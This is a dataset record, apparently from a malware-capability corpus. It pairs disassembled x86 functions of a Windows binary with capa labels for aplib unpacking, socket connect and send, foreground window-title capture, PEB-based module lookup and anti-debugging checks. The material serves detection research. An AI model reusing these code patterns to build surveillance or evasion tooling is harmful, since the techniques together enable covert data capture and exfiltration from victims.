joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa3a058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xa3a1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa3a07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa3a06a
add dl, dl
jne 0xa3a089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa3a0dc
xor eax, eax
add dl, dl
jne 0xa3a096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa3a17d
add dl, dl
jne 0xa3a0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa3a0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa3a0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa3a0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa3a0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa3a075
mov eax, 1
add dl, dl
jne 0xa3a0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa3a0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa3a0e1
sub eax, ebx
mov ebx, 1
jne 0xa3a128
mov ecx, 1
add dl, dl
jne 0xa3a10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa3a119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa3a105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa3a075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa3a13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa3a14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa3a136
cmp eax, 0x7d00
jae 0xa3a16d
cmp eax, 0x500
jb 0xa3a168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa3a075
cmp eax, 0x7f
ja 0xa3a170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa3a075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa3a19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa3a075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10001000
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1b4
mov esi, ecx
lea ebp, [esp + 0x1c8]
lea eax, [esp + 0x24]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
movaps xmm0, xmmword [0x10035080]
mov edi, esp
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0x74e35636
xor ebx, ebx
mov ecx, edi
push dword [esp]
push dword [esp + ebx*4 + 0x10]
call fcn.10006370
mov dword [esp + ebx*4 + 0xc], eax
inc ebx
cmp ebx, dword [esp + 4]
jb 0x10001038
mov eax, dword [esp + 8]
push dword [esp + eax*4 + 0xc]
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 8], eax
xor ebx, ebx
cmp eax, 0xffffffff
je 0x1000111d
movaps xmm0, xmmword [0x10035090]
mov edi, esp
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0x44d3cab1
mov ecx, edi
push dword [esp]
push dword [esp + ebx*4 + 0x10]
call fcn.10006370
mov dword [esp + ebx*4 + 0xc], eax
inc ebx
cmp ebx, dword [esp + 4]
jb 0x10001084
mov eax, dword [esp + 8]
movzx eax, word [esp + eax*4 + 0xc]
lea edi, [esp + 0x18]
mov word [edi - 4], ax
movzx eax, word [ebp + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi - 2], ax
cmp dword [ebp + 0x14], 0x10
mov eax, ebp
jb 0x100010c8
mov eax, dword [ebp]
push edi
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
lea eax, [esp + 0x14]
push 0x10
push eax
push dword [esi + 8]
call dword [sym.imp.WS2_32.dll_connect]
mov esi, eax
movaps xmm0, xmmword [0x100350a0]
mov edi, esp
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0x54c43f2d
xor ebx, ebx
mov ecx, edi
push dword [esp]
push dword [esp + ebx*4 + 0x10]
call fcn.10006370
mov dword [esp + ebx*4 + 0xc], eax
inc ebx
cmp ebx, dword [esp + 4]
jb 0x100010f9
mov eax, dword [esp + 8]
cmp esi, dword [esp + eax*4 + 0xc]
setne bl
mov eax, dword [ebp + 0x14]
cmp eax, 0x10
jb 0x10001132
inc eax
push eax
push dword [ebp]
call fcn.10005f50
add esp, 8
mov eax, ebx
add esp, 0x1b4
pop esi
pop edi
pop ebx
pop ebp
ret 0x1c
Function at 0x1000116c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x2018
call fcn.10014a10
mov esi, ecx
mov edi, dword [esp + 0x202c]
mov eax, dword [0x10044b54]
xor eax, esp
mov dword [esp + 0x2014], eax
call fcn.1001eb7e
mov ecx, dword [edi + 4]
sub ecx, dword [edi]
xor edi, edi
mov dword [esp + 0x10], eax
sar eax, 0x1f
mov dword [esp + 0xc], eax
mov ebp, ecx
test ecx, ecx
je 0x10001264
mov eax, 0x1ff0
cmp ebp, eax
mov ebx, 0x1ff0
cmovl ebx, ebp
mov ecx, dword [esi + 0xc]
call fcn.10001286
mov ecx, dword [esp + 0x202c]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
sub ecx, eax
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], ebx
add eax, edi
push ebx
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.1001a330
add esp, 0xc
mov eax, ebx
add eax, 0x10
je 0x10001232
mov dword [esp + 4], ebp
mov dword [esp + 8], edi
lea edi, [esp + 0x14]
mov dword [esp], eax
mov ebp, eax
push 0
push ebp
push edi
push dword [esi + 8]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000123b
add edi, eax
sub ebp, eax
jne 0x10001218
jmp 0x10001241
mov dword [esp], 0
jmp 0x10001249
xor eax, eax
dec eax
mov dword [esp], eax
mov edi, dword [esp + 8]
mov ebp, dword [esp + 4]
push dword [esi + 0xc]
call fcn.10016bdf
add esp, 4
add edi, ebx
mov ecx, ebp
sub ecx, ebx
cmp dword [esp], 0xffffffff
jne 0x100011a8
test ebp, ebp
sete bl
mov ecx, dword [esp + 0x2014]
xor ecx, esp
call fcn.10014947
mov eax, ebx
add esp, 0x2018
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x100014fa
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10013f50
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
mov dword [eax + 8], 0
push 0x10
call fcn.100148dc
add esp, 4
xor esi, esi
inc esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov dword [eax], vtable.std::_Ref_count_obj2_struct_std::atomic_bool__.0
mov ecx, eax
add ecx, 0xc
mov byte [eax + 0xc], 0
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x4c]
mov dword [edx], ecx
lea ecx, [ebp + 8]
add ecx, 0x30
mov dword [ebp - 0x10], esi
lea eax, [ebp - 0x48]
mov esi, dword [ebp - 0x20]
mov dword [eax], esi
lea esi, [ebp - 0x28]
push ecx
push edx
push eax
lea eax, [ebp + 0x10]
push eax
push 3
push esi
call fcn.1000b5da
add esp, 0x18
xor eax, eax
lea edx, [ebp - 0x3c]
mov dword [edx - 8], eax
mov dword [edx - 4], eax
mov ecx, dword [ebp - 0x34]
lock inc dword [ecx + 4]
movsd xmm0, qword [ebp - 0x30]
movsd qword [edx - 8], xmm0
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov dword [edx], ecx
mov byte [edx + 4], 1
mov ecx, dword [ebp - 0x20]
add ecx, 0x24
mov dword [ebp - 0x10], 2
lea eax, [ebp - 0x54]
lea edx, [ebp + 8]
push edx
push eax
call fcn.1000b4ac
mov esi, dword [ebp - 0x54]
lea ecx, [esi + 0x18]
lea edi, [ebp - 0x44]
push edi
call fcn.100062ec
add esi, 0x20
mov ecx, esi
lea esi, [ebp - 0x3c]
push esi
call fcn.1000632a
mov ecx, esi
call fcn.100016c0
mov esi, dword [edi + 4]
test esi, esi
je 0x1000160c
lock dec dword [esi + 4]
jne 0x1000160c
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock dec dword [esi + 8]
jne 0x1000160c
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
lea ecx, [ebp - 0x28]
call fcn.100016c0
mov esi, dword [ebp - 0x2c]
test esi, esi
lea edi, [ebp + 0x10]
lea ebx, [ebp + 8]
je 0x1000163a
lock dec dword [esi + 4]
jne 0x1000163a
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock dec dword [esi + 8]
jne 0x1000163a
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov ecx, dword [ebx + 0x2c]
test ecx, ecx
je 0x1000164e
xor eax, eax
cmp ecx, edi
setne al
mov edx, dword [ecx]
push eax
call dword [edx + 0x10]
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret 0x34
Function at 0x10002ff8
Capabilities:
Get graphical window text

Disassembly:
push edi
push esi
sub esp, 0x200
mov esi, dword [esp + 0x20c]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x1000303d
mov edi, esp
push 0x100
push edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
xor eax, eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x10], eax
push edi
call fcn.10021219
add esp, 4
mov ecx, esi
push eax
push edi
jmp 0x10003053
xor eax, eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x10], eax
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov ecx, esi
push eax
push 0x1003ba54
call fcn.10007692
mov eax, esi
add esp, 0x200
pop esi
pop edi
ret
Function at 0x1000812e
Capabilities:
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov ebx, ecx
mov ecx, dword [esp + 0x24]
mov esi, dword [esp + 0x20]
cmp esi, 1
mov eax, ecx
sbb eax, 0
jl 0x1000815d
cmp dword [ebx + 0x38], 0
je 0x10008166
mov ecx, ebx
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
jmp method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_32
xor eax, eax
xor edx, edx
jmp 0x10008210
mov dword [esp], ecx
mov ebp, dword [esp + 0x1c]
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax]
test eax, eax
mov dword [esp + 4], esi
je 0x100081a1
mov ecx, dword [ebx + 0x2c]
mov edi, dword [ecx]
test edi, edi
je 0x100081a1
cmp edi, esi
cmovae edi, esi
push edi
push eax
push ebp
call fcn.1001a330
add esp, 0xc
add ebp, edi
sub esi, edi
mov eax, dword [ebx + 0x2c]
sub dword [eax], edi
mov eax, dword [ebx + 0x1c]
add dword [eax], edi
cmp dword [ebx + 0x4c], 0
je 0x10008204
mov eax, dword [ebx + 0xc]
lea ecx, [ebx + 0x3c]
cmp dword [eax], ecx
jne 0x100081c5
mov ecx, dword [ebx + 0x50]
mov edx, dword [ebx + 0x54]
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
sub edx, ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov edi, 0xfff
cmp esi, 0x1000
jb 0x100081eb
push dword [ebx + 0x4c]
push edi
push 1
push ebp
call fcn.1001f5bd
add esp, 0x10
add ebp, eax
sub esi, eax
cmp eax, edi
je 0x100081ca
jmp 0x10008204
test esi, esi
je 0x10008202
push dword [ebx + 0x4c]
push esi
push 1
push ebp
call fcn.1001f5bd
add esp, 0x10
sub esi, eax
jmp 0x10008204
xor esi, esi
mov eax, dword [esp + 4]
sub eax, esi
mov edx, dword [esp]
sbb edx, 0
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
push ebp
push ebx
push edi
push esi
push eax
mov esi, dword [esp + 0x20]
mov ebp, dword [esp + 0x1c]
cmp ebp, 1
mov eax, esi
sbb eax, 0
jl 0x100087a5
mov ebx, ecx
mov edi, dword [esp + 0x18]
mov dword [esp], ecx
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax]
test eax, eax
je 0x10008783
mov ecx, dword [ebx + 0x2c]
mov ecx, dword [ecx]
test ecx, ecx
jle 0x10008783
cmp ebp, ecx
mov ebx, esi
mov esi, edi
mov edi, ecx
cmovb edi, ebp
test ebx, ebx
cmovne edi, ecx
push edi
push eax
push esi
call fcn.1001a330
add esp, 0xc
add esi, edi
sub ebp, edi
sbb ebx, 0
mov eax, dword [esp]
mov eax, dword [eax + 0x2c]
sub dword [eax], edi
mov eax, dword [esp]
mov eax, dword [eax + 0x1c]
add dword [eax], edi
mov edi, esi
mov esi, ebx
mov ebx, dword [esp]
jmp 0x10008798
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
cmp eax, 0xffffffff
je 0x100087a5
mov byte [edi], al
inc edi
add ebp, 0xffffffff
adc esi, 0xffffffff
mov eax, ebp
neg eax
mov eax, 0
sbb eax, esi
jl 0x10008736
mov eax, dword [esp + 0x1c]
sub eax, ebp
mov edx, dword [esp + 0x20]
sbb edx, esi
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x10008b60
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov edi, ecx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10014120
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, edi
push ebx
call fcn.10014d55
mov dword [edi + 4], ebx
mov byte [edi + 8], bl
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov dword [edi + 0x14], ebx
mov word [edi + 0x18], bx
mov dword [edi + 0x1c], ebx
mov word [edi + 0x20], bx
mov dword [edi + 0x24], ebx
mov byte [edi + 0x28], bl
mov dword [edi + 0x2c], ebx
mov byte [edi + 0x30], bl
test esi, esi
mov dword [ebp - 0x20], edi
je 0x10008bef
mov dword [ebp - 0x10], 0
push esi
push edi
call fcn.100150b5
add esp, 8
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, dword [ebp - 0x20]
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov dword [ebp - 0x10], 0
push str.bad_locale_name
call fcn.100158a9
add esp, 4
nop
push ebp
sub esp, 8
add ebp, 0xc
mov eax, dword [ebp - 0x20]
mov esi, eax
mov eax, dword [eax + 0x2c]
test eax, eax
je 0x10008c20
push eax
call fcn.1001f7b3
add esp, 4
mov eax, esi
mov dword [esi + 0x2c], 0
mov eax, dword [esi + 0x24]
test eax, eax
je 0x10008c39
push eax
call fcn.1001f7b3
add esp, 4
mov eax, esi
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10008c52
push eax
call fcn.1001f7b3
add esp, 4
mov eax, esi
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x14]
test eax, eax
je 0x10008c6b
push eax
call fcn.1001f7b3
add esp, 4
mov eax, esi
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10008c84
push eax
call fcn.1001f7b3
add esp, 4
mov eax, esi
mov dword [esi + 0xc], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10008c9d
push eax
call fcn.1001f7b3
add esp, 4
mov ecx, esi
mov dword [esi + 4], 0
call fcn.10014d86
add esp, 8
pop ebp
ret
Function at 0x1000971c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], ecx
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10013fe0
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov esi, dword [ebp + 8]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
push 0x24
call fcn.100148dc
add esp, 4
mov ecx, dword [edi]
mov dword [eax], ecx
lea ecx, [eax + 4]
xor edi, edi
mov dword [eax + 0x14], edi
mov dword [eax + 0x18], edi
xorps xmm0, xmm0
movups xmmword [eax + 4], xmm0
mov edx, dword [esi + 0x10]
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x20], eax
jb 0x10009782
mov esi, dword [esi]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x24], ecx
push edx
push esi
call fcn.100071cc
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 0x1c], eax
mov edi, dword [ebp - 0x2c]
lea esi, [edi + 4]
xor eax, eax
push esi
push eax
push ecx
push 0x10009bde
push eax
push eax
call fcn.1001d2fc
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x100097cd
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esi], 0
mov dword [ebp - 0x10], 1
push 6
call fcn.1001578c
add esp, 4
push ebp
sub esp, 0x18
add ebp, 0xc
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x18]
cmp eax, 0x10
jb 0x10009805
inc eax
push eax
mov eax, dword [ebp - 0x24]
push dword [eax]
call fcn.10005f50
add esp, 8
push dword [ebp - 0x20]
call fcn.1001490c
add esp, 0x1c
pop ebp
ret
Function at 0x1000f3ee
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x80
mov esi, esp
mov dword [esi + 0x68], ebp
mov dword [esi + 0x28], edx
mov dword [esi + 0x24], ecx
lea eax, [esi + 0x70]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10014020
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
mov dword fs:[0], eax
lea eax, [esi + 0x2d]
mov dword [eax - 1], ecx
lea eax, [esi + 0x30]
push eax
call fcn.10002ff8
add esp, 4
mov eax, dword [esi + 0x28]
test byte [eax], 1
jne 0x1000f579
mov dword [esi + 0x78], 0
lea eax, [esi + 0x48]
push eax
call fcn.10002ff8
add esp, 4
lea eax, [esi + 0x2d]
cmp byte [eax], 0
je 0x1000f54c
lea ecx, [esi + 0x30]
lea eax, [esi + 0x48]
push eax
call fcn.1000f61a
test al, al
jne 0x1000f54c
cmp dword [esi + 0x5c], 8
lea eax, [esi + 0x48]
jb 0x1000f48b
mov eax, dword [esi + 0x48]
mov edx, dword [esi + 0x58]
mov dword [esi + 0x78], 1
lea ecx, [esi + 0x30]
push edx
push eax
call fcn.1000f664
xorps xmm0, xmm0
movaps xmmword [esi + 0x10], xmm0
mov dword [esi + 0x64], 0x3cec4d84
mov dword [esi + 0x60], 0xd94a4fc3
xor edx, edx
mov cl, byte [esi + edx + 0x60]
mov byte [esi + 0xb], cl
mov eax, dword [esi + 0x18]
cmp eax, dword [esi + 0x1c]
je 0x1000f4cc
mov byte [eax], cl
inc dword [esi + 0x18]
jmp 0x1000f4e6
mov dword [esi + 0x78], 2
lea ecx, [esi + 0x14]
mov dword [esi + 0xc], edx
lea edx, [esi + 0xb]
push edx
push eax
call fcn.10008ea4
mov edx, dword [esi + 0xc]
inc edx
cmp edx, 8
jne 0x1000f4b6
mov dword [esi + 0xc], esp
push eax
sub esp, 0x14
mov ecx, esp
xor eax, eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
cmp dword [esi + 0x44], 8
lea eax, [esi + 0x30]
jb 0x1000f50f
mov eax, dword [esi + 0x30]
mov edx, dword [esi + 0x40]
mov dword [esi + 0x78], 2
push edx
push eax
call fcn.10007aac
lea ecx, [esi + 0x10]
call fcn.1000a98a
mov esp, dword [esi + 0xc]
mov ecx, dword [esi + 0x24]
mov eax, dword [ecx]
lea edx, [esi + 0x14]
push edx
call dword [eax]
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000f54c
mov ecx, dword [esi + 0x1c]
sub ecx, eax
push ecx
push eax
call fcn.10005f50
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x5c]
cmp eax, 8
jb 0x1000f440
add eax, eax
add eax, 2
push eax
push dword [esi + 0x48]
call fcn.10005f50
add esp, 8
jmp 0x1000f440
mov eax, dword [esi + 0x44]
cmp eax, 8
jb 0x1000f592
add eax, eax
add eax, 2
push eax
push dword [esi + 0x30]
call fcn.10005f50
add esp, 8
mov eax, dword [esi + 0x70]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100106f4
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
lea esi, [ebp - 0x18]
mov dword [esi - 4], esp
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0x100145f0
mov eax, dword fs:[0]
mov dword [esi], eax
mov dword fs:[0], esi
mov dword [ebp - 0x24], ecx
mov dword [ecx], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
push 8
call fcn.100148dc
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [esi + 8], 0
push 1
call fcn.1001528f
add esp, 4
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [eax + 0x34], ecx
lea ecx, [eax + 4]
mov dword [eax + 0xc], ecx
lea ecx, [eax + 8]
mov dword [eax + 0x10], ecx
lea ecx, [eax + 0x14]
mov dword [eax + 0x1c], ecx
lea ecx, [eax + 0x18]
mov dword [eax + 0x20], ecx
lea ecx, [eax + 0x24]
mov dword [eax + 0x2c], ecx
lea ecx, [eax + 0x28]
mov dword [eax + 0x30], ecx
xor ecx, ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x28], ecx
mov dword [eax + 4], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x24], ecx
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x10013c20
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
lea esi, [ebp - 0x18]
mov dword [esi - 4], esp
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0x10014750
mov eax, dword fs:[0]
mov dword [esi], eax
mov dword fs:[0], esi
mov dword [ebp - 0x24], ecx
mov dword [ecx], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
push 8
call fcn.100148dc
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [esi + 8], 0
push 1
call fcn.1001528f
add esp, 4
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [eax + 0x34], ecx
lea ecx, [eax + 4]
mov dword [eax + 0xc], ecx
lea ecx, [eax + 8]
mov dword [eax + 0x10], ecx
lea ecx, [eax + 0x14]
mov dword [eax + 0x1c], ecx
lea ecx, [eax + 0x18]
mov dword [eax + 0x20], ecx
lea ecx, [eax + 0x24]
mov dword [eax + 0x2c], ecx
lea ecx, [eax + 0x28]
mov dword [eax + 0x30], ecx
xor ecx, ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x28], ecx
mov dword [eax + 4], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x24], ecx
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10013e3a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, ecx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x10014770
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
push 4
call fcn.100148dc
add esp, 4
mov edi, eax
mov dword [eax], ebx
lea eax, [esi + 4]
xor ebx, ebx
mov dword [ebp - 0x24], eax
push eax
push ebx
push edi
push 0x10013ed6
push ebx
push ebx
call fcn.1001d2fc
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x10013eac
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x24]
mov dword [eax], ebx
mov dword [ebp - 0x10], ebx
push 6
call fcn.1001578c
add esp, 4
nop
push ebp
sub esp, 0x18
add ebp, 0xc
push dword [ebp - 0x20]
call fcn.1001490c
add esp, 0x1c
pop ebp
ret

Function at 0x100170ee
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
push 0x105
call fcn.10017164
mov edi, eax
test edi, edi
jne 0x10017115
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov eax, esi
jmp 0x1001715e
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ebx, 0xffffffff
cmp eax, ebx
je 0x10017159
test al, 0x10
je 0x10017159
test eax, 0x400
je 0x10017155
push 0x2000000
push 0x80
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.1001700e
push dword [ebp - 4]
mov esi, eax
call fcn.10017042
test esi, esi
jne 0x10017159
xor edx, edx
jmp 0x1001715b
mov edx, ebx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x100171dd
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.100171b9
pop esi
leave
ret 8

Function at 0x1001d5d1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001d610
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001d610
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001d610
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001d610
cmp dword [ecx + 0x74], 0xe
jbe 0x1001d610
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x100225c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100225ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100225ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret